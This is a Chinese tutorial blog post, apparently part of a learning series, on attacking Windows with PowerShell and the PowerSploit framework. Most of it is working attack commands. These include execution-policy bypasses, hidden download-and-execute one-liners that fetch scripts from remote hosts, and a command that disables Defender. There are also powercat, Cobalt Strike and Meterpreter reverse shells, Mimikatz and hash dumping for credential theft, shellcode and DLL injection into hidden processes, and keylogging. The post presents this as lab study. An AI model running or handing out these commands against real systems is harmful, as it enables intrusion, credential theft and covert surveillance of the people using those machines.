<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    四十二.Powershell惡意代碼檢測系列 (3)PowerSploit腳本滲透詳解

    VSole2022-12-19 10:22:01

    作者作為網絡安全的小白,分享一些自學基礎教程給大家,主要是關于安全工具和實踐操作的在線筆記,希望您們喜歡。同時,更希望您能與我一起操作和進步,后續將深入學習網絡安全和系統安全知識并分享相關實驗。總之,希望該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!如果文章對您有幫助,將是我創作的最大動力,點贊、評論、私聊均可,一起加油喔!

    聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。(參考文獻見后)

    一.Powershell攻擊詳解

    在滲透測試中,Powershell是不能忽略的一個環節,而且仍在不斷地更新和發展,它具有良好的靈活性和功能化管理Windows系統的能力。一旦攻擊者可以在一臺計算機上運行代碼,就會下載PowerShell腳本文件(.ps1)到磁盤中執行,甚至無須寫到磁盤中執行,它就可以直接在內存中運行。

    這些特點使得PowerShell在獲得和保持對系統的訪問權限時,成為攻擊者首選的攻擊手段,利用PowerShell的諸多特點,攻擊者可以持續攻擊而不被輕易發現。常用的PowerShell攻擊工具有以下幾種。

    • PowerSploit
    • 這是眾多PowerShell攻擊工具中被廣泛使用的PowerShell后期漏洞利用框架,常用于信息探測、特權提升、憑證竊取、持久化等操作。
    • Nishang
    • 基于PowerShell的滲透測試專用工具,集成了框架、腳本和各種Payload,包含下載和執行、鍵盤記錄、DNS、延時命令等腳本。
    • Empire
    • 基于PowerShell的遠程控制木馬,可以從憑證數據庫中導出和跟蹤憑據信息,常用于提供前期漏洞利用的集成模塊、信息探測、憑據竊取、持久化控制。
    • PowerCat
    • PowerShell版的NetCat,有著網絡工具中的“瑞士軍刀”美譽,它能通過TCP和UDP在網絡中讀寫數據。通過與其他工具結合和重定向,讀者可以在腳本中以多種方式使用它。

    1.PowerShell簡介

    Windows PowerShell 是一種命令行外殼程序和腳本環境,它內置在Windows 7版本及其以上的系統中,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能。它引入了許多非常有用的新概念,從而進一步擴展了您在 Windows 命令提示符和 Windows Script Host 環境中獲得的知識和創建的腳本。

    各Windows操作系統的PowerShell版本如下:

    一旦攻擊者在一臺計算機上運行代碼,他們就會下載PowerShell腳本文件(.ps1)到磁盤中執行,甚至無須寫道磁盤中執行,就可以直接在內存中運行(無文件攻擊),也可以把PowerShell看作命令行提示符cmd.exe的擴充。

    在64位的Windows操作系統中,存在x64和x86兩個版本的PowerShell,這兩個版本的執行策略不會相互影響,可以看作是兩個獨立的程序。x64版本的配置文件在如下路徑中。PowerShell包含兩個應用程序組件:基于文本的標準控制臺(powershell.exe)和集成命令環境的圖形化界面(ISE:powershell_ise.exe)。

    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0

    傳統的CMD支持腳本編寫,但擴展性不好,而Powershell類似于Linux shell,具有更好的遠程處理、工作流、可更新的幫助、預定任務(Scheduled Job)、CIM等優點。

    (1) 首先,如何進入Powershell呢?

    一種方法是在運行中直接輸入Powershell打開,另一種方法是CMD中輸入Powershell打開。

    不同操作系統內置的Powershell是不一樣的,比如win7或win2008。

    (2) 其次,如何查看版本呢?

    第一個命令如下:


    Get-Host
    

    輸出結果如下圖所示:

    另一個命令是:


    $psversiontable
    

    同時,Powershell可以獲取計算機的服務詳細信息、狀態等。


    get-service
    

    其顯示結果如下圖所示,采用動詞+名詞方式命名,比較清楚。

    (3) 簡單總結PowerShell優點

    PowerShell需要.NET環境的支持,同時支持.NET對象,其可讀性、易用性,可以位居當前所有Shell之首。PowerShell的這些特點正在吸引攻擊者,使它逐漸成為一個非常流行且得力的攻擊工具。由于Powershell具有以下特點,它被廣泛應用于安全領域,甚至成為每一位Web安全必須掌握的技術。常見的優點包括:

    • Windows 7以上的操作系統默認安裝
    • PowerShell腳本可以運行在內存中,不需要寫入磁盤
    • 可以從另一個系統中下載PowerShell腳本并執行
    • 目前很多工具都是基于PowerShell開發的
    • 很多安全軟件并不能檢測到PowerShell的互動
    • cmd.exe通常會被阻止運行,但PowerShell不會
    • 可以用來管理活動目錄
    • 支持面向對象,支持和.net平臺交互
    • 強大的兼容性,和cmd、vbs相互調用
    • 可擴展性好,它可以用來管理活動目錄、虛擬機產品等平臺

    2.PowerShell基本概念

    (1) PS1文件

    一個PowerShell腳本其實是一個簡單的文本文件,這個文件包含了一系列PowerShell命令,每個命令顯示為獨立的一行,對于被視為PowerShell腳本的文本文件,它的文件名需要加上.PS1的擴展名。

    (2) 執行策略

    為防止惡意腳本的執行,PowerShell有一個執行策略,在默認情況下,這個執行策略被設為首先。在PowerShell腳本無法執行時,可以使用下面的 Get-ExecutionPolicy 命令確定當前的執行策略。它包括4個策略:

    • Restricted:腳本不能運行(默認設置)
    • RemoteSigned:本地創建的腳本可以運行,但從網上下載的腳本不能運行(擁有數字證書簽名除外)
    • AllSigned:僅當腳本由受信任的發布者簽名時才能運行
    • Unrestricted:允許所有的Script運行

    我們還可以使用下面的cmdlet命令設置PowerShell的執行策略。

    • Set-ExecutionPolicy [policy name] 策略名

    (3) 運行腳本

    運行一個PowerShell腳本,必須鍵入完整的路徑和文件名。例如,你要運行一個名為a.ps1的腳本,可以鍵入 C:\Scripts\a.ps1。最大的例外是,如果PowerShell腳本文件剛好位于你的系統目錄中,那么在命令提示符后直接鍵入腳本文件名即可運行,如 .\a.ps1 的前面加上“.\”,這和在Linux下還行Shell腳本的方法一樣。

    (4) 管道

    PowerShell的管道作用是將一個命令的輸出作為另一個命令的輸入,兩個命令之間用管道符號(|)連接。舉個例子來看管道是如何工作的,假設停止所有目前運行匯總以 “p” 字符開頭命名的程序,命令如下:

    • get-process p* | stop-process

    管道并不是什么新事物,以前的Cmd控制臺也有重定向的命令,例如Dir | More可以將結果分屏顯示。傳統的Cmd管道是基于文本的,但是Powershell管道是基于對象。例如:


    linux:lscmd:dir
    

    如果只獲取其中的name、mode值,則使用如下指令。


    ls | format-table name, mode
    


    3.PowerShell常用命令及繞過權限執行

    在PowerShell下,類似“cmd命令”叫作“cmdlet”,其命名規范相當一致,都采用“動詞-名詞”的形式,如New-Item,動詞部分一般為Add、New、Get、Remove、Set等,命名的別名一般兼容Windows Command和Linux Shell,如Get-ChildItem命令使用dir或ls均可,而且PowerShell命令不區分大小寫。

    下面以文件操作為例講解PowerShell命令的基本用法。

    • 新建目錄:New-Item whitecellclub-ItemType Directory
    • 新建文件:New-Item light.txt-ItemType File
    • 刪除目錄:Remove-Item whitecellclub
    • 顯示文件內容:Get-Content test.txt
    • 設置文件內容:Set-Content test.txt-Value “hello,world!”
    • 追加內容:Add-Content light.txt-Value “i love you”
    • 清除內容:Clear-Content test.txt

    舉個簡單的示例:


    New-Item test -ItemType directoryRemove-Item testNew-Item eastmount.txt -ItemType file -value "hello csdn"  
    Get-Content eastmount.txtAdd-Content eastmount.txt -Value " bye!"Get-Content eastmount.txt 
    Set-Content eastmount.txt -Value "haha"Get-Content eastmount.txtClear-Content eastmount.txtGet-Content eastmount.txtRemove-Item eastmount.txtGet-Content eastmount.txt
    

    同樣,我們還以通過Windows終端提示符輸入“PowerShell”,進入PowerShell命令行,輸入help命令顯示幫助菜單。

    經過測試,在cmd窗口執行過程下載的PowerShell腳本,不論當前策略,都可以直接運行。而如果要在PowerShell窗口運行腳本程序,必須要管理員權限將Restricted策略改成Unrestricted,所以在滲透時,就需要采用一些方法繞過策略來執行腳本。

    (1) 下載遠程PowerShell腳本繞過權限執行

    調用DownloadString函數下載遠程的ps1腳本文件。


    //cmd窗口執行以下命令powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
    //在powershell窗口執行IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
    

    下圖引用謝公子的圖片,切換到CMD窗口運行。

    (2) 繞過本地權限執行

    上傳xxx.ps1至目標服務器,在CMD環境下,在目標服務器本地執行該腳本,如下所示。


    PowerShell.exe -ExcutionPolicy Bypass -File xxx.ps1
    powershell -exec bypass  .\test.ps1
    

    (3) 本地隱藏繞過權限執行腳本

    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo-NonInteractive -NoProfile -File xxx.ps1
    

    舉個示例:

    • powershell.exe -exec bypass -W hidden -nop test.ps1

    (4) 用IEX下載遠程PS1腳本繞過權限執行

    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
    

    下面對上述命令的參數進行說明,如下所示。

    • ExecutionPolicy Bypass:繞過執行安全策略,這個參數非常重要,在默認情況下,PowerShell的安全策略規定了PowerShell不允許運行命令和文件。通過設置這個參數,可以繞過任意一個安全保護規則。在滲透測試中,基本每一次運行PowerShell腳本時都要使用這個參數。
    • WindowStyle Hidden:隱藏窗口
    • NoLogo:啟動不顯示版權標志的PowerShell
    • NonInteractive(-NonI):非交互模式,PowerShell不為用戶提供交互的提示
    • NoProfile(-NoP):PowerShell控制臺不加載當前用戶的配置文件
    • Noexit:執行后不退出Shell,這在使用鍵盤記錄等腳本時非常重要

    再次強調,PowerShell腳本在默認情況下無法直接執行,這是就可以使用上述方法繞過安全策略,運行PowerShell腳本如下圖所示。

    PowerShell.exe -ExecutionPolicy Bypass -File .\test.ps1 
    

    通過增加 -ExecutionPolicy Bypass 實現繞過安全策略,并運行輸出結果。

    本地我們可以看到 test.ps1 文件。


    4.PowerShell遠程下載文件并執行

    該部分內容學習了謝公子老師的總結,當然第二部分我詳細介紹了和滲透結合的用法。

    CMD窗口下載文件

    管理員權限才可以下載到C盤目錄下,普通權限不能下載到C盤。


    //下載文件到指定目錄powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe'); //下載文件到當前目錄powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');
    

    CMD窗口下載文件并執行exe

    powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe
    

    CMD窗口下載文件并執行ps1腳本

    powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
    

    遠程下載powercat.ps1腳本,并帶參數運行,該命令可以繞過PowerShell執行策略

    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
    

    5.PowerShell滲透測試常用命令

    關閉Windows自帶的Defender防火墻(需要管理員權限)。

    powershell Set-MpPreference -disablerealtimeMonitoring $true
    

    在CMD窗口下執行,將遠程主機上的test.exe下載到本地。

    powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
    

    在CMD窗口下利用PowerShell反彈NC shell。

    //在cmd窗口執行powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
    //在powershell窗口執行IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
    

    在CMD窗口下利用PowerShell反彈CobaltStrike Shell。

    //在cmd窗口執行powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))  
    //在powershell窗口執行IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
    

    在CMD窗口下利用PowerShell反彈MSF Shell。

    //在cmd窗口執行powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
    //在powershell窗口執行IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
    

    遠程加載PowerShell腳本讀取明文密碼(需要管理員權限)。

    //在cmd窗口執行powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
    //在powershell窗口執行IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
    

    遠程加載PowerShell腳本讀取明文密碼hash值(需要管理員權限)。

    //在cmd窗口執行powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
    //在powershell窗口執行IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
    

    6.PowerShell導入文件

    在大型PowerShell項目中,通常包括.ps1、.psd1和.psm1后綴文件。比如Powersploit。

    • .ps1文件 
    • PowerShell腳本文本
    • .psd1文件
    • 模塊介紹文件
    • .psm1文件
    • 模塊文件

    其中,psm1和psd1文件可以使用以下命令導入。


     Import-Module .\PowerSploit.psm1 Import-Module .\PowerSploit.psd1
    

    導入模塊輸入命令:

    • Get-Command -Module PowerSploit

    對于.ps1文件,既可以使用Import-Module導入,也可以使用 . 導入。


    Import-Module .\Get-Information.ps1. .\Get-Information.ps1
    

    二.PowerSploit攻擊詳解

    PowerSploit是一款基于PowerShell的后滲透(Post-Exploition)框架軟件,包含很多PowerShell攻擊腳本,它們主要用于滲透中的信息偵查、權限提升、權限維持。PowerSploit各個模塊的功能包括:

    • AntivirusBypass:發現殺毒軟件的查殺特征
    • CodeExecution:在目標主機上執行代碼
    • Exfiltration:目標主機上的信息搜集工具
    • Mayhem:藍屏等破壞性腳本
    • Persistence:后門腳本(持久性控制)
    • Recon:以目標主機為跳板進行內網信息偵查
    • ScriptModification:在目標主機上創建或修改腳本

    其GitHub地址為:

    • https://github.com/PowerShellMafia/PowerSploit

    1.PowerSploit安裝

    第一步,下載PowerSploit資源。

    我們在Kali中可以使用git命令下載該程序。

    • git clone https://github.com/PowerShellMafia/PowerSploit

    如果下載報錯“git fatal: unable to access server certificate verification failed. CAfile: none CRLfile: none”,讀者可以直接從github下載移動至Kali指定目錄。

    第二步,解壓文件。

    • unzip PowerSploit-master.zip

    解壓后的文件如下圖所示:

    第三步,將解壓后的文件夾移動到/var/www/html目錄,然后搭建一個簡易的服務器。

    • mv PowerSploit-master /var/www/html

    第四步,開啟Apache服務器。

    • service apache2 start

    在本地瀏覽器中用IP地址訪問,證明我們的Apache服務器設置成果。


    2.MSF反彈Shell

    接下來,我們在Kali中使用 reverse_https模塊進行反彈shell。

    第一步,打開msfconsole。

    • msfconsole

    第二步,在msf設置 windows/x64/meterpreter/reverse_https 模塊進行反彈并開啟監聽。

    • use exploit/multi/handler
    • 使用監聽模塊
    • set payload windows/x64/meterpreter/reverse_tcp
    • 設置payload
    • set LHOST 192.168.44.138
    • 設置本機IP地址
    • set RPORT 4444
    • 設置本地端口4444

    • show options
    • 查看監聽的配置信息

    接著運行處于監聽狀態。

    • run
    • exploit


    3.Invoke-Shellcode執行代碼

    CodeExecution模塊下的Invoke-Shellcode腳本常用于將Shellcode插入指定的進程ID或本地PowerShell中,下面介紹兩種常用的反彈Meterpreter Shell方法。

    第一種方法:直接執行shellcode反彈Meterpreter Shell

    第一步,使用之前的步驟利用MSF進行監聽。

    msf5 exploit(multi/handler) > run
    [*] Started HTTPS reverse handler on https://192.168.59.128:4444
    

    第二步,使用msfvenom命令生成一個powershell腳本木馬。

    • msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138
    • LPORT=4444 -f powershell -o /var/www/test

    生成的腳本位于 /var/www/html 目錄下,代碼如下圖所示:

    第三步,接著在目標機Powershell下輸入以下命令下載該腳本。

    • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1”)

    常見錯誤解決方法
    第一種錯誤是提示“被防病毒軟件阻止”。
    此時我們需要設置防火墻攔截問題,允許該powershell運行即可。
    如果還是被攔截,可能是需要管理員權限運行PowerSploit,設置方法如下:

    第四步,輸入以下命令下載木馬。

    • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/test”)

    第五步,運行下面的命令。其中的-Force意思是不用提示,直接執行。

    • Invoke-Shellcode -Shellcode ($buf) -Force

    按理說,此步驟執行完成后,返回MSF的監聽界面下,會發現已經反彈成功了,可是我的Powershell在運行完命令后會報錯或崩潰,個人感覺環境問題。

    正確運行結果如下圖所示:


    第二種方法:指定進程注入shellcode反彈Meterpreter Shell

    第一步,同樣先在目標機Powershell下輸入命令下載腳本和木馬。

    IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/test")
    

    第二步,輸入Get-Process命令或者ps命令查看當前進程。

    • Get-Process

    第三步,輸入命令創建一個新進程,并把它設置為隱藏的。

    • Start-Process C:\windows\system32otepad.exe -WindowStyle Hidden
    • Get-Process

    第四步,輸入Get-Process命令查看進程,可以看到多了一個id為2580,名為notepad的進程。

    第五步,使用Invoke-Shellcode腳本進行進程注入。

    • Invoke-Shellcode -ProcessID 2580 -Shellcode ($buf) -Force

    4.Invoke-Portscan掃描端口

    nvoke-Portscan是Recon模塊下的一個腳本,主要用于端口掃描,使用起來也比較簡單。使用方法如下。

    第一步,先下載腳本,然后進行掃描。

    • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Recon/Invoke-Portscan.ps1”)

    第二步,使用下面命令掃描端口。

    • Invoke-Portscan -Hosts 192.168.44.1,192.168.44.138 -Ports “80,22,445,3389”

    發現1開放445和3389端口,138開放80端口。


    5.Invoke-Mimikatz

    Invoke-Mimikatz是Exfiltration模塊下的一個腳本。

    第一步,下載腳本。

    • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1”)

    第二步,執行命令使用Mimikatz攻擊,密碼抓取工具。

    • Invoke-Mimikatz -DumpCreds
    PS C:\> Invoke-Mimikatz -DumpCreds
      .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##.  "A La Vie, A L'Amour" ## / \ ##  /* * * ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)  '#####'                                     with 20 modules * * */
    mimikatz(powershell) # sekurlsa::logonpasswordsERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)  #報錯啦
    mimikatz(powershell) # exitBye!
    PS C:\>
    


    6.Invoke-DllInjection

    下面使用CodeExecution模塊下的另一個腳本Invoke-DllInjection,它是一個DLL注入的腳本。

    第一步,在MSF里配置好監聽,使用以下命令在kali中生成一個dll的反彈木馬。

    • msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138
    • LPORT=4444 -f dll -o /var/www/html/test.dll

    生成的test.dll注入文件如下圖所示:

    第二步,在目標機上下載腳本,輸入以下命令。

    • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1”)

    第三步,啟動一個新進程,使用Invoke-Shellcode腳本進行進程注入。

    • Start-Process C:\windows\system32otepad.exe -WindowStyle Hidden

    • Get-Process
    • get-process notepad

    第四步,使用下面命令注入。

    • Invoke-DllInjection -ProcessID 2580 -Dll c:\test.dll

    但是MSF反彈還是失敗。


    7.Get-Keystrokes

    Get-Keystrokes是Exfiltration模塊下的一個腳本,用于鍵盤記錄,功能相當強大,不僅有鍵盤輸入記錄,甚至能記錄鼠標的點擊情況,還能記錄詳細的時間,實戰時可以直接放入后臺運行。使用方法如下。

    第一步,下載腳本。

    • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1”)

    第二步,命令開啟鍵盤記錄。

    • Get-Keystrokes -Logpath c:\test1.txt

    第三步,存儲相關信息。


    8.腳本分類及功能

    AntivirusBypass(繞過殺毒)

    • Find-AVSignature
    • 發現殺軟的簽名

    CodeExecution(代碼執行)

    • Invoke-DllInjection.ps1
    • DLL注入腳本 注意dll架構要與目標進程相符,同時要具備相應的權限
    • Invoke-ReflectivePEInjection.ps1
    • 反射型注入 將Windows PE文件(DLL / EXE)反射加載到powershell進程中,或反射地將DLL注入遠程進程
    • Invoke-Shellcode.ps1
    • 將shellcode插入您選擇的進程ID或本地PowerShell中
    • Invoke-WmiCommand.ps1
    • 在目標主機使用wmi執行命令

    Exfiltration(信息收集):主要是收集目標主機上的信息

    • Out-Minidump.ps1
    • 生成一個進程的全內存小數據庫
    • Get-VaultCredential.ps1
    • 顯示Windows徽標憑據對象,包括明文Web憑據
    • Get-Keystrokes.ps1
    • 記錄按鍵,時間和活動窗口
    • Get-GPPPassword.ps1
    • 檢索通過組策略首選項推送的帳戶的明文密碼和其他信息
    • Get-GPPAutologon.ps1
    • 如果通過組策略首選項推送,則從registry.xml檢索自動登錄用戶名和密碼
    • Get-TimedScreenshot.ps1
    • 這是一個以定期間隔拍攝屏幕并將其保存到文件夾的功能
    • Invoke-Mimikatz.ps1
    • 查看主機密碼
    • Invoke-NinjaCopy.ps1
    • 通過讀取原始卷并解析NTFS結構,從NTFS分區卷復制文件
    • Invoke-CredentialInjection.ps1
    • 使用明文憑據創建登錄,而不會觸發可疑事件ID 4648(顯式憑證登錄)
    • Invoke-TokenManipulation.ps1
    • 列出可用的登錄令牌。與其他用戶創建進程登錄令牌,并模仿當前線程中的登錄令牌
    • Get-MicrophoneAudio.ps1
    • 通過麥克風記錄聲音
    • VolumeShadowCopyTools.ps1

    Recon(信息偵察):這個文件夾主要是以目標主機為跳板進行內網主機偵察

    • Invoke-Portscan.ps1
    • 端口掃描
    • Get-HttpStatus.ps1
    • 返回指定路徑的HTTP狀態代碼和完整URL,并附帶字典文件
    • Invoke-ReverseDnsLookup.ps1
    • 掃描DNS PTR記錄的IP地址范圍
    • PowerView.ps1
    • PowerView是一系列執行網絡和Windows域枚舉和利用的功能
    • Get-ComputerDetails
    • 獲得登錄信息

    ScriptModification(腳本修改)

    • Out-EncodedCommand.ps1
    • 將腳本或代碼塊編碼,并為PowerShell有效載荷腳本生成命令行輸出
    • Out-EncryptedScript.ps1
    • 加密文本文件/腳本
    • Out-CompressedDll.ps1
    • 壓縮,Base-64編碼,并輸出生成的代碼,以將受管理的DLL加載到內存中
    • Remove-Comments.ps1
    • 從腳本中刪除注釋和多余的空白

    Persistence(權限維持)

    • New-UserPersistenceOption
    • 為添加持久性函數配置用戶級持久性選項。
    • New-ElevatedPersistenceOption
    • 為添加持久性函數配置提升的持久性選項。
    • Add-Persistence
    • 向腳本添加持久性功能
    • Install-SSP
    • 安裝安全支持提供程序(ssp)dll
    • Get-SecurityPackages

    Privesc(提權)

    • PowerUP
    • 共同特權升級檢查的信息交換所,以及一些武器化載體
    • Get-System

    Mayhem

    • Set-MasterBootRecord
    • 選擇的消息覆寫主引導記錄
    • Set-CriticalProcess
    • 退出powershell時使系統藍屏

    三.總結

    寫到這里,這篇文章就介紹結束了,希望對您有所幫助,繼續加油~

    • 一.Powershell攻擊詳解
    • 1.PowerShell簡介
    • 2.PowerShell基本概念
    • 3.PowerShell常用命令及繞過權限執行
    • 4.PowerShell遠程下載文件并執行
    • 5.PowerShell滲透測試常用命令
    • 6.PowerShell導入文件
    • 二.PowerSploit攻擊詳解
    • 1.PowerSploit安裝
    • 2.MSF反彈Shell
    • 3.Invoke-Shellcode執行代碼
    • 4.Invoke-Portscan掃描端口
    • 5.Invoke-Mimikatz
    • 6.Invoke-DllInjection
    • 7.Get-Keystrokes
    • 8.腳本分類及功能
    • 三.總結

    這篇文章中如果存在一些不足,還請海涵。作者作為網絡安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行。

    powershellshell
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    抓取域密碼哈希的各種工具集合。
    很早就想專門寫一篇關于內網的文章,一直沒有騰出空來,萬萬沒想到,寫下這篇文章的時候,竟然是我來某實驗室實習的時間段:)
    何為powershell執行策略PowerShell 是一個跨平臺的任務自動化解決方案,由命令行 shell、腳本語言和配置管理框架組成。PowerShell 在 Windows、Linux 和 macOS 上運行。 由于powershell有以下性質,往往受到管理員或者安全人員的青睞。
    由于powershell有以下性質,往往受到管理員或者安全人員的青睞。PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六種類型的執行策略。
    反彈Shell大全與原理
    2023-04-25 10:15:00
    reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。對方主機在局域網內,從外網無法直接訪問。對方主機上存在WAF,對主動連接發來的請求數據檢測嚴格,而對向外發出的請求不進行檢測或檢測較少。對方由于防火墻等限制,對方機器只能發送請求,不能接收請求。在滲透測試過程中,得到webshell后一般我們會反彈shell。反彈shell原理A主機開啟9090端口的tcp服務
    是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。telnet反彈nc -lvvp 444 #攻擊者主機上執行監聽rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p #目標主機上執行。監聽兩個端口分別用來輸入和輸出,其中x.x.x.x均為攻擊者ip反彈shell成功后,在監聽4444端口的終端中執行命令可以在另一個終端中看到命令執行結果。 nc反彈nc -lvvp portnc -e /bin/bash x.x.x.x port
    GuLoader_VBS惡意加載器分析報告
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类